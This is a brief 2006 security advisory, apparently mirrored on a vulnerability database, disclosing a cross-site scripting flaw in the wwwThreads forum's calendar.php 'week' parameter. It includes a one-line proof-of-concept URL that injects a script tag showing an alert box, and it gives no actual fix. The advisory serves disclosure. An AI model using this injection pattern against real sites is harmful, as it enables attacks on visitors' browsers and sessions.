Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:13652
HistoryJul 27, 2006 - 12:00 a.m.

wwwThreads XSS

2006-07-2700:00:00
vulners.com
22

#----------------------------------------------------------
#Aria-Security.net Advisory
#Discovered by: l2odon
#< www.Aria-security.net>
#Gr33t to: A.u.r.a & O.U.T.L.A.W & R@1D3N @ DrtRp & Cl0wn
#-----------------------------------------------------------
#Software: wwwThreads
#Attack method: Cross Site Scripting
#Original advisory:http://www.aria-security.net/advisory/wwwthreads.txt

#Proof of Concept:

#http://www.site.com/[path]/calendar.php?week=&quot;&gt;&lt;script&gt;alert&#40;&#39;test!&#39;&#41;&lt;/script&gt;&lt;

#----------------------------------------------------------

#Solution
#contact me: [email protected]

#----------------------------------------------------------